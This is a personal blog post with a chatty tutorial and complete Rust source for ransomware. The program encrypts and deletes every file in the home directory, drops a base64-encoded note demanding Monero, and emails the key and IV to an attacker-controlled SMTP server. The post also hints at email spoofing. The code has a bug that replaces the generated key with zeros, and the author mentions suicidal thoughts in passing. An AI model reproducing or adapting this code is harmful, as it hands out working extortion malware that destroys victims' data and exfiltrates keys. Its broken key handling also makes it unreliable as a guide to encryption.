sad 🏳️‍🌈's profile picture

Published by

published
updated

Category: Web, HTML, Tech

🖤 sad's guide to encrypting/decrypting files (ransomware) 🖤

sorry bout style ill fix that soon

edit: omg!! thx so much for the kudos <3

Hey there, my fellow night wanderers 💀🌙

Today, I'll share with you a little project I've been working on in Rust that encrypts and decrypts files in your home directory. It's like a little secret between you and your computer. Or you can use it to mess with your friends or whatever! ✨


Here is an ASCIINEMA of it


Okay so first things first! This is for "educational" content, so don't be stupid I am not reliable.

Second, Why Rust? Well Rust is new, fast, and memory safe, and not many people use it for stuff like this yet, that being said there is many great reasons I will not be diving into

What is this and Why did I make it?
This is just a shitty project or some shitty code for some crappy ransomware that I started writing when i was emotionally drunk and depressed to suppress my intrusive and suicidal thoughts...

I believe it uses Rust or something? "The Game?"

no... not the game...

idk dude i literately just press buttons all day...


ANYWAYS...

lets dive into the code!


alrighty first we need to make a new project in rust

cargo new iwannadie && cd iwannadie


next we gotta add some crates so slap that Cargo.toml in your IDE of choice and add:

[dependencies]
libaes = "0.6.4"
base64 = "0.21.0"
rand = "0.8.5"
hex = "0.4.3"
tokio = { version = "1.26.0", features = ["full"] }
lettre = "0.10.3"
lettre_email = "0.9.4"
dirs = "4.0"
uuid = { version = "1.3.0", features = ["v4"] }

next we gotta add some dependencies into our main.rs file:

use rand::Rng;
use std::{env, fs};
use libaes::Cipher;
use uuid::Uuid;

use lettre::transport::smtp::authentication::Credentials;
use lettre::{Message, SmtpTransport, Transport};
use tokio::runtime::Runtime;
use std::convert::TryInto;

next lets give that main function a hand (or paw) in the right direction

fn main() {
let args: Vec<_> = env::args().collect();
let folder = dirs::home_dir().expect("Could not find user's home directory");
let action = if args.len() > 1 && args[1] == "--decrypt" { "decrypt" } else { "encrypt" };

let entries = fs::read_dir(folder.clone()).unwrap();

// Generate the token only during encryption
let token = if action == "encrypt" {
Some(Uuid::new_v4().to_string())
} else {
None
};

Awesome! so lets walk through it a bit, we define some arguments and collect them one being an action called decrypt! this can be called on the binary with --decrypt or cargo run -- --decrypt and if no argument is provided it matches it to the action encrypt!

next we have folder, this finds the home folder/directory of the user 

and then we have entries this will be taking the directory and verifies its only encrypting/decrypting the files/subfolders it needs too 

next we have defined token, this calls to uuid and only generates when encrypt is called

got it? now lets move on

let mut key = [0u8; 32];
let mut iv = [0u8; 16];

if action == "encrypt" {
let mut rng = rand::thread_rng();
rng.fill(&mut key);
rng.fill(&mut iv);
} else if action == "decrypt" {
let folder = env::current_exe().unwrap().parent().unwrap().to_path_buf();
let keys_content = fs::read(folder.join("keys")).unwrap();
let keys_str = String::from_utf8_lossy(&keys_content);
let keys_lines: Vec<&str> = keys_str.lines().collect();
if keys_lines.len() >= 2 {
key = base64::decode(keys_lines[keys_lines.len() - 2]).unwrap().try_into().expect("Invalid key length");
iv = base64::decode(keys_lines[keys_lines.len() - 1]).unwrap().try_into().expect("Invalid IV length");
} else {
println!("[-] No keys found!");
return;
}
}

Alrighty now we just defined 2 very very important things key and iv!

what are these?

well they are for AES-256 of course! The IV is usually 16 bytes or 128 bits (same reason the block size of AES-256 is 128 bits) so the IV needs to be the same as the block size... And the Key?

The key is a 256 bits stored value here we have it stored as an unsigned 32 bit integer because AES-256 utilizes 32 bit words. (also allows faster processing)

now u can call me a fucking nerd, I deleted 3 paragraphs I wrote explaining this

next we call actions

if encrypt is called we will use rng (which is just random) we generate key and iv basically

and if decrypt is called we will set the environment from the position of the running executable and read from a file called keys take those key as UTF8 and split the lines and decode the base64

the proper format for the keys file looks like this: (top line key bottom line iv. lol bottom)

hlhBoeH7opPc4GtTDEVI7yUFnTLEuAhjzfo6JNuxIfU=
4+hWMrqB2JoEFaSsu7OgzQ==

and if it cannot find those keys then it will print that it couldn't find them xD ...sometimes


lets move on to the next block (55 INCLUDED!)

let current_exe = env::current_exe().unwrap();

for raw_entry in entries {
let entry = raw_entry.unwrap();

if entry.file_type().unwrap().is_file() {
if entry.file_name().to_str().unwrap().eq("iwannadie.txt") || entry.path() == current_exe {
continue;
}

if encrypt_decrypt(entry.path().to_str().unwrap(), action, &key, &iv) {
println!("[+] {} is {}ed!", entry.path().to_str().unwrap(), action);
}
}
}

Okai so we defined current exe this is basically the current executable, making it so you could name your binary whatever tf you want and not have it encrypt itself (trust me it wouldn't be fun if you encrypted your binary while encrypting everything) thankfully rust will stop you before you get there... usually...

Then we have raw entry! Remember how we defined entries earlier? yep here's where we use it!

the entry is checked to be the ransom note, the running binary, or a file. if it happens to be a file it will either encrypt or decrypt it!

Next!

if let Some(token) = token {
// Print the token
println!("Token: {}", token);

let encoded_ransom_note = "4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qOw4qO/4qO/4qO24qOE4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qKA4qGA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCACuKggOKggOKggOKggOKggOKggOKisOKjv+Khn+KggeKgiOKgu+Kjt+KjpuKhgOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKjsOKjv+Kjt+KjpuKhgOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggArioIDioIDioIDioIDioIDioIDio7/ioZ/ioIDioIDioIDioIDioIjioLvio7/io6bioYDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioqDio7/iob/ioIvioJnioLvio7fio4TioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAK4qCA4qCA4qCA4qCA4qCg4qK54qGf4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCI4qK74qO/4qOm4qGA4qCA4qOA4qOA4qOA4qOA4qOA4qOA4qOA4qOA4qO+4qGf4qCB4qCA4qCA4qCA4qCI4qC74qO34qOE4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCACuKggOKggOKggOKggOKioOKjv+KggOKggOKggOKggOKggOKggOKggOKggOKigOKjoOKhv+Kgn+Kgm+Kgm+KgieKgieKgieKgieKgieKgieKgieKgieKgieKgieKgmeKgm+Kgm+Kgm+KgtuKgpOKjveKjv+Kjt+KjhOKggOKggOKggOKggOKggOKggOKggOKggArioIDioIDioIDioIDioLjioJ/ioIDioIDioIDioIDioIDioIDiooDio7TioJ/ioIHioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIjioJnioLvioLfio6Tio4DioIDioIDioIDioIDioIAK4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qOg4qG+4qCB4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCI4qCZ4qK34qGE4qCA4qCA4qCACuKggOKggOKggOKggOKggOKggOKggOKggOKggOKigOKjvOKgj+KggOKggOKggOKggOKggOKggOKggOKggOKjgOKjgOKjgOKjgOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKgmOKjv+KggOKggOKggArioIDioIDioIDioIDioIDioIDioIDioIDiooDiob7ioIPioIDioIDioIDioIDioIDiooDio7TioL7ioJvioonio4Hio4nio4nioZnioLfio4TioIDioIDioIDiorLioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDio7/ioIDioIDioIAK4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qK44qOn4qCA4qCA4qCA4qCA4qCA4qOw4qCf4qKB4qG04qCa4qCJ4qCA4qCA4qCA4qCZ4qKm4qGI4qK34qGA4qCA4qCI4qGH4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qO/4qCA4qCA4qCACuKggOKggOKggOKggOKggOKggOKggOKggOKggOKiv+KhhOKggOKggOKggOKjsOKgj+KjoOKgj+KggOKggOKggOKggOKggOKggOKggOKgiOKjp+KgmOKjt+KggOKggOKiueKjpuKggOKggOKggOKggOKggOKggOKigOKjpOKhtOKgtuKgtuKjv+KjhOKggOKggArioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiorfioIDioIDiooDio7/ioqDioY/ioIDioIDioIDioIDioIDioIDioIDioIDioIDio77ioIDiorjioYbioIDioIjioLvioITioIDioIDioIDio6Dio77io5/io6XioJTioLLio4TioIDioJniorfioYQK4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCY4qOH4qCA4qK44qGH4qK44qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qKA4qGf4qCA4qCA4qGH4qCA4qCA4qCA4qCA4qCA4qCA4qO84qO/4qG/4qCJ4qCA4qCA4qCA4qCY4qOn4qCA4qCI4qOnCuKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKiueKhhuKiuOKhh+KiuOKggOKggOKggOKggOKggOKggOKggOKggOKjoOKjvuKhp+KggOKigOKhh+KggOKggOKggOKggOKggOKjvOKir+Khv+KggOKggOKggOKggOKggOKggOKiuOKggOKggOKjvwrioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiorfioJjio7fioJjio6bioIDioIDioIDiooDio6Tio7bioK/ioInio7/ioIHio7Dio7/ioIPioIDioIDioIDioIDiorjioZ/io7zioIDioIDioIDioIDioIDioIDioIDio77ioIDioqDioZ8K4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qOA4qOA4qO44qOE4qC54qOn4qCZ4qCm4qOA4qOg4qCe4qGb4qCB4qCA4qOw4qCP4qCA4qO14qGf4qCA4qCA4qCA4qCA4qCA4qO/4qKj4qGH4qCA4qCA4qCA4qCA4qCA4qOA4qG04qCP4qKA4qO/4qCDCuKggOKggOKggOKggOKggOKggOKggOKjoOKhtOKgi+KjieKjoOKjpOKjpOKhpOKjveKjt+KjhOKggOKggOKggOKgk+KgpOKgnuKggeKjgOKhvOKgj+KggOKggOKggOKggOKggOKggOKjv+KggOKhh+KggOKggOKigOKjpOKgn+Kjj+KjgOKjvOKjv+Kgj+KggArioIDioIDioIDioIDioIDioIDio7zioI/io6Dio7/io7/io7/io7/io7/ioIDioqDio7/io7/ioJvioLfioqTio6Tio6TiobbioL/ioL/ioaTioqTio4Tio4Dio4DioIDioIDioIDiorvioYbioJnioKbioLTiopvioIHio6DioZ7ioonio77ioI/ioIDioIAK4qCA4qCA4qCA4qCA4qCA4qCA4qO/4qCA4qO/4qO/4qO/4qO/4qO/4qO/4qO/4qO/4qO/4qO/4qOE4qOA4qO+4qO/4qO/4qGE4qCA4qO04qO/4qO/4qO34qCA4qCJ4qKZ4qO/4qO24qC84qO34qOE4qCA4qCA4qCI4qCb4qOL4qOg4qCf4qCB4qCA4qCA4qCACuKggOKggOKggOKggOKggOKggOKgueKjp+KgueKjv+Kjv+Kjv+Kjv+Kjv+Kjv+Kjv+Kjv+Kjv+Kjv+Kjv+Kjn+Kjv+Kjv+Kjv+KjvuKjv+Kjv+Kjv+Kiv+KjgOKjgOKjvOKjv+Kiv+KjhuKhgOKimeKjt+KjtuKjtuKjvuKiv+KjheKggOKggOKggOKggOKggArioIDioIDioIDioIDioIDioIDioIDioIjioLPio6Tio5nioLvioL/io7/io7/ioIPioIDio7/io7/io7/ioJ/ioIniornio7/io6fiob/ioL/ior/io6zio7/io7/io7/io7/io7fio7/io6fio7zio7/io7/io7/io7/ioYfiornioYTioIDioIDioIDioIAK4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCJ4qCZ4qCz4qKm4qOt4qOZ4qGz4qC+4qO/4qOB4qOA4qCA4qC44qO/4qC/4qCB4qCA4qK44qO/4qO/4qO/4qCP4qK54qO/4qKI4qO/4qO/4qO/4qO/4qO/4qO/4qGH4qKg4qGH4qCA4qCA4qCA4qCACuKggOKggOKggOKggOKggOKjoOKhtuKjv+KjieKjieKjieKht+KjtuKgn+KiuuKhj+KgieKgm+Kgs+KgtuKjreKjjeKjm+KhtuKgtuKgpOKjhOKjiOKjmeKgi+KggeKggOKgmOKiv+Kjv+Kjv+Kjv+Kjv+Kjv+Khv+Kgm+KjoeKgnuKggeKggOKggOKggOKggArioIDioIDioIDioqDiob/ioY/ioqDio6TioqTio6Tio4Dio6Dio77ioIDioIjioqfio4Dio6TioLbio77ioIvioInioIjioInioJnioJPioLbioLbioqzio4nio4nio4nio4nio5vio7/io77io4/io63ioLbioJ7ioIvioIHioIDioIDioIDioIDioIDioIAK4qCA4qCA4qKg4qGP4qCA4qO74qO/4qCZ4qKm4qGA4qCI4qO/4qC44qOn4qCA4qCI4qKJ4qOk4qCe4qCL4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCI4qO/4qO/4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCACuKggOKigOKjv+KggOKjoOKgj+KjueKhtuKjruKjt+KioOKhv+KggOKgueKjp+KhtOKgm+KgieKjs+KghuKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKjv+Kjv+KggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggArioIDioIjiorvio7bioovio7ziob/ioLPio7/io7niob/ioqfio6Tio6Tio7/io6Hio7TioY/ioIHioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDio7/ioY/ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAK4qCA4qCA4qCA4qO54qO/4qO/4qGA4qO84qCL4qCJ4qCB4qCA4qCA4qO94qCP4qK54qCA4qGH4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qG/4qCH4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCACuKggOKggOKjvOKgj+KjuOKgj+KjueKit+KjpOKjhOKjgOKjgOKjsOKhn+KggOKiuOKhtOKhh+KggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggOKggAriooDio7zio4PiorDioY/ioqDioY/ioIDioIjioInioInioYnio73io7PioIbioJjioYfioYcKCgpPSCBOTyEKWU9VUiBTVElOS1kgSFVNQU4gRklMRVMgSEFWRSBCRUVOIEVOQ1JZUFRFRCBCWSBBIENVUklPVVMgRkVNQk9ZIENBVCEgWDMKV0hBVCBTSE9VTEQgWU9VIERPPy4uLgpITU0uLiBMRVQgTUUgVEhJTksuLi4KT0ghIEkgR09UIElUISBYRApZT1UgR09UVEEgU0VORCBNRSBTT01FVEhJTkdTISBIQUhBIDwzClNFTkQgMSBYTVIgVE8gCjQ1N2dNOE5TYThUR003REV0RTMyTUNFZlNqRFVFY1YzQVdIdVhoMVhTWjMzQWhLU3pUTHFFSERVUlJGRnU4ejdKdVdBaTYzc2NIeXV0NnBNQk5LMkIzNmhDdWM3RThRCkFORCBFTUFJTCBTNERAVENQLldJS0kgV0hFTiBUSEUgVFJBTlNBQ1RJT04gRklOSVNIRVMKICAgIE9IIFlFQUghCkRPTlQgRk9SR0VUIFRPIEFERCBZT1VSIFRPS0VOIGluIHRoZSBlbWFpbCBvciB5b3VyIGZ1Y2tlZCBMT0wgCiAgICAgICAgPDMgbG92ZSA8MyAKICAgICAgICAgICAgeW91cnMgdHJ1bHkKICAgICAgICAgICAgICAgfiBzYWQgLyBzNGQgPDM=";
let decoded_ransom_note = base64::decode(encoded_ransom_note).unwrap();
let ransom_message = format!("{} Token: {}", String::from_utf8_lossy(&decoded_ransom_note), token);
let readme_path = folder.join("iwannadie.txt");
fs::write(readme_path, &ransom_message).unwrap();

// Build the keys string
let keys = format!("Key: {}\nIV: {}\nToken: {}", base64::encode(&key), base64::encode(&iv), token);

// Send the keys via email
let rt = Runtime::new().unwrap();
rt.block_on(async {
send_email(&token, &keys).await.unwrap();
});

println!("[+] Dropped ransom message!");
}
}

Okaiii! fun stuff happening right here!

we print out the token from the generated uuid earlier and add that to the ransom note/love letter (decrypt my heart bb)

ransom_note is encoded in base64 becuz we got some pretty sick ascii art encoded with it aswell as instructions on how to proceed.

we set the letters path to join the home directory as a textfile and then write the message to the txt file

we also format the email! in this case the email will look somewhat like:
SUBJECT: 8340f29d-7391-4aab-a6ea-da7fe31db99b

Key: hlhBoeH7opPc4GtTDEVI7yUFnTLEuAhjzfo6JNuxIfU=
IV: 4+hWMrqB2JoEFaSsu7OgzQ==
Token: 8340f29d-7391-4aab-a6ea-da7fe31db99b

we then call the tokio runtime and let it know to be asyncy when sending the email then drop the note to the folder/directory and close the main function!
NEXT!!
async fn send_email(token: &str, keys: &str) -> Result<(), Box<dyn std::error::Error>> {
// Create the email
let email = Message::builder()
.from("g1r[@]tcp[.]wiki".parse().unwrap())
.to("s4d[@]tcp[.]wiki".parse().unwrap())
.subject(token)
.body(keys.to_string())?;

// Set up the SMTP client
let creds = Credentials::new("g1r".to_string(), "no this is my password!!!".to_string());
let smtp_server = "mail.tcp.wiki";
let mailer = SmtpTransport::relay(smtp_server)?
.credentials(creds)
.build();

// Send the email
mailer.send(&email);

println!("[+] Email sent!");

Ok(())
}

Now we get to send the email using lettre! (love this crate, it taught me how to send emails!)

remember how we formated the email earlier?? coolio! so we set the subject and the to and from email addresses! (for a bit of extra challenge figure out how to spoof an email using this ;D)

NOTE: the to and from emails should be your desired smtp emails, and in correct format email@example.com

alrighty then we set the smtp server credentials and our server and send the email!

LETS GOOOO! LAST FUNCTION!!!

fn encrypt_decrypt(file_name: &str, action: &str, key: &[u8; 32], iv: &[u8; 16]) -> bool {
let key = [0u8; 32];
let iv = [0u8; 16];
let cipher = Cipher::new_256(&key);

match action {
"encrypt" => {
println!("[*] Encrypting {}", file_name);

let encrypted = cipher.cbc_encrypt(&iv, &fs::read(file_name).unwrap());
let new_filename = format!("{}.kms", file_name);
fs::write(&new_filename, encrypted).unwrap();
fs::remove_file(file_name).unwrap();
}
"decrypt" => {
println!("[*] Decrypting {}", file_name);
let decrypted = cipher.cbc_decrypt(&iv, &fs::read(file_name).unwrap());
let new_filename = file_name.replace(".kms", "");
fs::write(&new_filename, decrypted).unwrap();
fs::remove_file(file_name).unwrap();
}
_ => {
println!("[-] Invalid action!");
return false;
}
}
return true;
}

This is where the real shit comes in, oh yeah!

alrighty now we call our encrypt/decrypt function set the key and iv and cypher

the encrypt action checks the files from entry and rename them to *.kms aswell as encrypts them with the generated key that will be sent via email!

the decrypt action does basically the reverse! take the keys and decrypts all the files and removes the extension .kms

THERE WE GO U MADE SOME SHITTY RANSOMWARE!

insperation src

Remember, this is just a fun little project, so please don't use it for anything naughty! 🖤
Feel free to leave your thoughts and suggestions and SPAM in the comments.
Stay dark, shady and mysterious🌙


46 Kudos

Comments

Displaying 6 of 6 comments ( View all | Add Comment )

Alveus Nosville

Alveus Nosville's profile picture
Pinned

Tech stuf? on the front page of tech blog?
We're truly in the end times now. All downhill from here.


Report Comment



this

by sad 🏳️‍🌈; ; Report

⚠️ChainsawCannon!⚠️ [inactive]

⚠️ChainsawCannon!⚠️ [inac...'s profile picture

Yo this write-up makes me want to try rust after learning C... this is cool as hell!


Report Comment

bigfkndummy

bigfkndummy's profile picture

Damn wtf


Report Comment

j3nny

j3nny's profile picture

this is dope asf, finally some quality stuff on this platform XD


Report Comment

mit

mit's profile picture

second


Report Comment

liberian commando

liberian commando's profile picture

ofc youd try to write ransomware for rust


Report Comment